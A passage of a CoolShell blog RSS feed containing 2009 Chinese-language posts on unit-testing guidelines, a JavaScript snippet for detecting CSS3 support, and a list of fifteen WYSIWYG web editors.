CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1194.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些单元测试的Guideline</title>\n\t\t<link>https://coolshell.cn/articles/1192.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1192.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 27 Jul 2009 08:24:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[CppUnit]]></category>\n\t\t<category><![CDATA[Guideline]]></category>\n\t\t<category><![CDATA[JUnit]]></category>\n\t\t<category><![CDATA[NUnit]]></category>\n\t\t<category><![CDATA[Unit Test]]></category>\n\t\t<category><![CDATA[UT]]></category>\n\t\t<category><![CDATA[xUnit]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1192</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Jimmy Bogard 曾经写过一篇文章： 《从单元测试中获益》，这这篇文章中给出了下面三条规则： “测试名应该从用户的角度描述是什么和为什么” – 这样一来...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1192.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1192.html\">一些单元测试的Guideline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Jimmy Bogard 曾经写过一篇文章： 《<a href=\"http://www.lostechies.com/blogs/jimmy_bogard/archive/2008/12/18/getting-value-out-of-your-unit-tests.aspx\">从单元测试中获益</a>》，这这篇文章中给出了下面三条规则：</p>\n<ol>\n<li>“<strong>测试名应该从用户的角度描述是什么和为什么</strong>” – 这样一来，程序员可以从名字就可以知道用户需要什么样的软件行为。</li>\n<li>“<strong>测试也是代码，同样也需要我们更多的爱</strong>” – 真实运行在生产环境下的代码不仅仅只是我们需要去关心和花心思的代码。对于单元测试中的代码同样也需要易读易维护，以及可重用的特性。“<em>我非常痛恨那些又长又复杂的测试代码，如果一个测试需要30行的单元测试代码，请把其放在一个方法中。一个长的测试步骤只会激怒程序员。如果你在正式的代码中都没有这么长的代码，那么为什么我们需要在测试代码中容忍这样的情形呢？</em>”</li>\n<li>“<strong>不要只用一种固定的模式或组织风格</strong>”<em> – </em>有些时候，对于一些特殊的测试案例，标准的类设计模式，或一个固有的测试装置可能并不能有效的工作。</li>\n</ol>\n<p><span id=\"more-1192\"></span></p>\n<p><a href=\"http://tech.groups.yahoo.com/group/testdrivendevelopment/message/31412\">Lior Friedman</a> 加上： “第0条 &#8211; 测试应该只测试单元其外部的行为，而不是内部的结构”。或者说，只测试对一个单元的期望，而不是这个单元的构成。</p>\n<p><a href=\"http://groups.google.com/group/nunit-discuss/msg/56c9d75647731502?hl=en\">Ravichandran Jv</a> 也加上了他的条例：</p>\n<ol>\n<li>一个测试一个断言（如果可能）。 </li>\n<li>如果在测试中有“if else” 的语句，请把if和else两个分支拆分成两个测试案例。 </li>\n<li>如果一个测试案例中也有if else 分枝，那么这个测试案例也需要被重构。</li>\n<li>测试案例的命名代表了这种测试的类型。例如：TestMakeReservation() 和TestMakeNoReservation()是不一样的类型。</li>\n</ol>\n<p><a href=\"http://groups.google.com/group/nunit-discuss/msg/fb335c19a8a44821?hl=en\">Charlie Poole</a>，NUnit的作者，重述了“一个测试一个断言”成“一个逻辑断言Logical Assert” – 他说， “有时候，因为我们测试API的表现不足，你需要写多个物理的Assert才能达到一个完整的结果。许多使用NUnit框架API进行单元测试的开发，很不可能只使用一个Assert就完成了一个测试”。</p>\n<p><a href=\"http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html\">Bryan Cook</a> 也提供了一个不错的可供考虑的列表：</p>\n<ol>\n<li>做到：对Fixture一致地命名</li>\n<li>做到：使用namespace</li>\n<li>做到：测试方法的命名和Setup/TearDown 一致</li>\n<li>考虑：分离你的测试和开发代码</li>\n<li>做到：测试的命令和被测试的功能一致</li>\n<li>考虑：使用&#8221;Cannot&#8221; 前缀命名期望的异常</li>\n</ol>\n<p>Bryan 有超过 <a href=\"http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html\">一打的建议</a>。</p>\n<p>最后，有些人建议大家读一下 Gerard Meszaros的书： “<a href=\"http://www.amazon.com/xUnit-Test-Patterns-Refactoring-Addison-Wesley/dp/0131495054/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1248380993&amp;sr=8-1\">xUnit Test Patterns: Refactoring Test Code</a>”</p>\n<p>文章：<a href=\"http://www.infoq.com/news/2009/07/Better-Unit-Tests\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"如何测试洗牌程序\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8593.html\" class=\"wp_rp_title\">如何测试洗牌程序</a></li><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/ediff-small-150x150.png\" alt=\"一些杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_title\">一些杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/694.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"Guido认为程序员大多数工作不需要递归\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/694.html\" class=\"wp_rp_title\">Guido认为程序员大多数工作不需要递归</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1192.html\">一些单元测试的Guideline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1192.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何检测浏览器是否支持CSS3</title>\n\t\t<link>https://coolshell.cn/articles/1186.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1186.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 24 Jul 2009 07:00:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[CSS3]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1186</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如何检测用户的浏览器是否支持CSS3，我们需要使用HTML，CSS和JavaScript来完成这件事情。下面是步骤。 1）先制作下面的HTML &#60;span...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1186.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1186.html\">如何检测浏览器是否支持CSS3</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如何检测用户的浏览器是否支持CSS3，我们需要使用HTML，CSS和JavaScript来完成这件事情。下面是步骤。</p>\n<p><strong>1）先制作下面的HTML</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;span id=&quot;check&quot; rel=&quot;Detect&quot;&gt;&lt;/span&gt;\n</pre>\n<p><strong>2）然后书写下面的CSS</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n#check {\n  display: none;\n  width: 0;\n  height: 0;\n}\n#check[rel^=&quot;D&quot;] {\n  display: block;\n  width: 0;\n  height: 0;\n}\n</pre>\n<p><span id=\"more-1186\"></span><br />\n<strong>3）下面是JavaScripts的检测脚本</strong></p>\n<p>请确保下面的代码放在HTML文件头。</p>\n<p>[javascript]<br />\n&lt;script type=&quot;text/javascript&quot;&gt;<br />\nvar obj = document.getElementById(&quot;check&quot;);<br />\nvar file=&quot;special.css&quot;;<br />\nif (window.getComputedStyle)<br />\n    var stat = window.getComputedStyle(obj,null).getPropertyValue(&quot;display&quot;);<br />\nelse if (obj.currentStyle)<br />\n    var stat = obj.currentStyle.display;<br />\nvar css3 = (stat == &quot;block&quot;);<br />\nif (css3) alert(&quot;CSS3 Supported.&quot;);<br />\nelse alert(&quot;CSS3 not supported.&quot;);<br />\n&lt;/script&gt;</p>\n<p>[/javascript]</p>\n<p>文章：<a href=\"http://www.geocities.com/seanmhall2003/css3/detect.html\" target=\"_self\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1186.html\">如何检测浏览器是否支持CSS3</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1186.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>15个Web在线WYSIWYG编辑器</title>\n\t\t<link>https://coolshell.cn/articles/1183.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1183.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 24 Jul 2009 06:32:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[FCKeditor]]></category>\n\t\t<category><![CDATA[TinyMCE]]></category>\n\t\t<category><![CDATA[WYSIWYG]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1183</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>基于WEB的HTML 编辑器，WYSIWYG所见即所得的编辑器，或是一个富文本的编辑器，是我们在开发WEB应用时接收用户输入时必需要考虑的问题。下面是一些开源的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1183.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1183.html\">15个Web在线WYSIWYG编辑器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>基于WEB的HTML 编辑器，WYSIWYG所见即所得的编辑器，或是一个富文本的编辑器，是我们在开发WEB应用时接收用户输入时必需要考虑的问题。下面是一些开源的WEB在线的WYSWIG编辑器。</p>\n<h3>1. <a title=\"FCKeditor\" href=\"http://www.fckeditor.net/\" target=\"_blank\">FCKeditor</a></h3>\n<p>FCKeditor 这些在线编辑器中最著名的一个，其功能相当的强大，很像一个Web的Word软件。它可以方便地和ASP, ASP.NET, PHP, Java, Perl, Phyton 等Web开发语言所集成。并支持皮肤，拼写检查。其还可以配置成一个轻量级的编辑器。而且，它还有很多相当酷的功能。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"FCKeditor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/fckeditor.jpg\" alt=\"FCKeditor\" width=\"500\" height=\"161\" /></p>\n<p><span id=\"more-1183\"></span></p>\n<h3>2. <a title=\"NicEdit\" href=\"http://nicedit.com/\" target=\"_blank\">NicEdit</a></h3>\n<p>NicEdit 是一个基于Javascript 编辑器，它可以很容易地被集成到任意的网页中。它还可以把网页上任何的element/div 转成可以编辑的标准的控件。<img decoding=\"async\" loading=\"lazy\" title=\"NicEdit\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/nicedit.jpg\" alt=\"NicEdit\" width=\"500\" height=\"104\" /></p>\n<p><span id=\"more-967\"> </span></p>\n<h3>3. <a title=\"TinyMCE\" href=\"http://tinymce.moxiecode.com/\" target=\"_blank\">TinyMCE</a></h3>\n<p>TinyMCE 是另一个很有名的所见即所得的编辑器，其受LGPL license控制。Wordpress的编辑器用的就是TinyMCE的。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"TinyMCE\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/tinymce.jpg\" alt=\"TinyMCE\" width=\"500\" height=\"181\" /></p>\n<h3>4. <a title=\"jwysiwyg\" href=\"http://code.google.com/p/jwysiwyg/\" target=\"_blank\">jwysiwyg</a></h3>\n<p>jwysiwyg 是一个基于 jQuery 的WYSIWYG 插件，相当小，只有7kb的大小，而且相当的简单易用。但功能不多。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"jwysiwyg - jQuery WYSIWYG plugin\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/jwysiwyg.jpg\" alt=\"jwysiwyg - jQuery WYSIWYG plugin\" width=\"500\" height=\"198\" /></p>\n<h3>5. <a title=\"Yahoo! UI Library: Rich Text Editor\" href=\"http://developer.yahoo.com/yui/editor/\" target=\"_blank\">Yahoo! UI Library: Rich Text Editor</a></h3>\n<p>这个富文本编辑器是 Yahoo YUI 库中的一部分，用户或以非常简单的扩展它。这对于那些对YUI库很熟悉的人来说是最好的了。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"Yahoo! UI Library: Rich Text Editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/yui-rich-text-editor.jpg\" alt=\"Yahoo! UI Library: Rich Text Editor\" width=\"500\" height=\"331\" /></p>\n<h3>6. <a title=\"Xinha\" href=\"http://xinha.webfactional.com/\" target=\"_blank\">Xinha</a></h3>\n<p>Xinha 也是一个相当强大的WYSIWYG HTML 编辑器，它可以兼容于所有的浏览器，并被开源社区所支持。<img decoding=\"async\" loading=\"lazy\" title=\"xinha\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/xinha.jpg\" alt=\"xinha\" width=\"500\" height=\"330\" /></p>\n<h3>7. <a title=\"Openwysiwyg\" href=\"http://www.openwebware.com/\" target=\"_blank\">Openwysiwyg</a></h3>\n<p>Openwysiwyg 也是另一个开源的跨浏览器的 WYSIWYG 编辑器，别看他外表长得不怎么样，但他有很多的功能，特别是表格编辑的功能。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"openwysiwyg: Free cross browser wysiwyg editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/openwysiwyg.jpg\" alt=\"openwysiwyg: Free cross browser wysiwyg editor\" width=\"500\" height=\"246\" /></p>\n<h3>8. <a title=\"Free Rich Text Editor\" href=\"http://freerichtexteditor.com/\" target=\"_blank\">Free Rich Text Editor</a></h3>\n<p>Free Rich Text Editor 是一个超级简单并且是免费的WYSIWYG 编辑器，它非常容易用来实现和管理基于XHTML的文本。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"Free Rich Text Editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/free-rich-text-editor.jpg\" alt=\"Free Rich Text Editor\" width=\"500\" height=\"382\" /></p>\n<h3>9. <a title=\"WMD: The Wysiwym Markdown Editor\" href=\"http://wmd-editor.com/\" target=\"_blank\">WMD: The Wysiwym Markdown Editor</a></h3>\n<p>WMD 是一个简单和轻量级的编辑器，它主要用于Blog的评论系统或是论坛回贴系统。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"WMD: The Wysiwym Markdown Editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/wmd.jpg\" alt=\"WMD: The Wysiwym Markdown Editor\" width=\"500\" height=\"286\" /></p>\n<h3>10. <a title=\"TTW HTML Editor\" href=\"http://koivi.com/WYSIWYG-Editor/\" target=\"_blank\">TTW HTML Editor</a></h3>\n<p>TTW HTML Editor 也是一个很简单轻量级的WYSIWYG编辑器，其主要由Javascripts编写，其拼写检查由SpellerPages编写。这是一个很容易被调用的编辑器。</p>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"TTW HTML Editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/ttw-html-editor.jpg\" alt=\"TTW HTML Editor\" width=\"500\" height=\"313\" /></p>\n<h3>11. <a title=\"Free Text Box\" href=\"http://freetextbox.com/\" target=\"_blank\">Free Text Box</a></h3>\n<p>FreeTextBox 也是一个很常用的HTML editor，只不过它只支持ASP.NET。它可以兼容于所有的IE，Mozilla和Firefox。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"Free Text Box\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/free-text-box.jpg\" alt=\"Free Text Box\" width=\"500\" height=\"378\" /></p>\n<h3>12. <a title=\"WYMeditor\" href=\"http://www.wymeditor.org/\" target=\"_blank\">WYMeditor</a></h3>\n<p>WYMeditor 是一个 XHTML 的编辑器。WYMeditor 可以创建并生成非常完美的XHTML 结构的源码，并完全严格遵守W3C XHTML 规范。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"WYMeditor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/wymeditor.jpg\" alt=\"WYMeditor\" width=\"500\" height=\"203\" /></p>\n<h3>13. <a title=\"BlueShoes Wysiwyg Editor\" href=\"http://www.blueshoes.org/en/javascript/editor/\" target=\"_blank\">BlueShoes Wysiwyg Editor</a></h3>\n<p>这是一个DHTML 和Javascript 开发的编辑器，它有很多非常酷的功能。例如：用户可以动态的改变编辑器的大小，选取特殊字符，以及选取颜色的功能。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"BlueShoes Wysiwyg Editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/blueshoes-wysiwys-editor.jpg\" alt=\"BlueShoes Wysiwyg Editor\" width=\"500\" height=\"350\" /></p>\n<h3>14. <a title=\"markItUp\" href=\"http://markitup.jaysalvat.com/home/\" target=\"_blank\">markItUp</a></h3>\n<p>markItUp! 是一个jQuery 的JavaScript 插件。它非常的轻量，可以非常容易的定制。你甚至可以定义你最喜欢的键盘热键，以及添加额外的功能。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"markItUp! Universal markup editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/mark-it-up.jpg\" alt=\"markItUp! Universal markup editor\" width=\"500\" height=\"341\" /></p>\n<h3>15. <a title=\"SPAW Editor\" href=\"http://spaweditor.com/en/disp.php/en_products/en_spaw/en_spaw_intro\" target=\"_blank\">SPAW Editor</a></h3>\n<p>这个WYSIWYG 编辑器是一个多页的编辑器，浮动式的工具条和很酷的用户接口，目前只有PHP 和.NET 版本。<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"spaw-editor\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/07/spaw-editor.jpg\" alt=\"spaw-editor\" width=\"500\" height=\"418\" /></p>\n<p>文章：<a href=\"http://www.webdesignbooth.com/15-really-useful-web-based-html-editors/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8115.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg\" alt=\"GCC 用 C++ 来编译\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8115.html\" class=\"wp_rp_title\">GCC 用 C++ 来编译</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/7917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/0-150x150.jpg\" alt=\"各式各样的验证码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7917.html\" class=\"wp_rp_title\">各式各样的验证码</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/12176.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/011-150x150.jpg\" alt=\"C++ 对象的内存布局\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12176.html\" class=\"wp_rp_title\">C++ 对象的内存布局</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1183.html\">15个Web在线WYSIWYG编辑器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1183.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Internet 技术演变图</title>\n\t\t<link>https://coolshell.cn/articles/1178.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1178.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 24 Jul 2009 03:51:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Internet]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1178</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>点击图片看大图 （转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章RFC1 40岁生日某Python...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1178.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     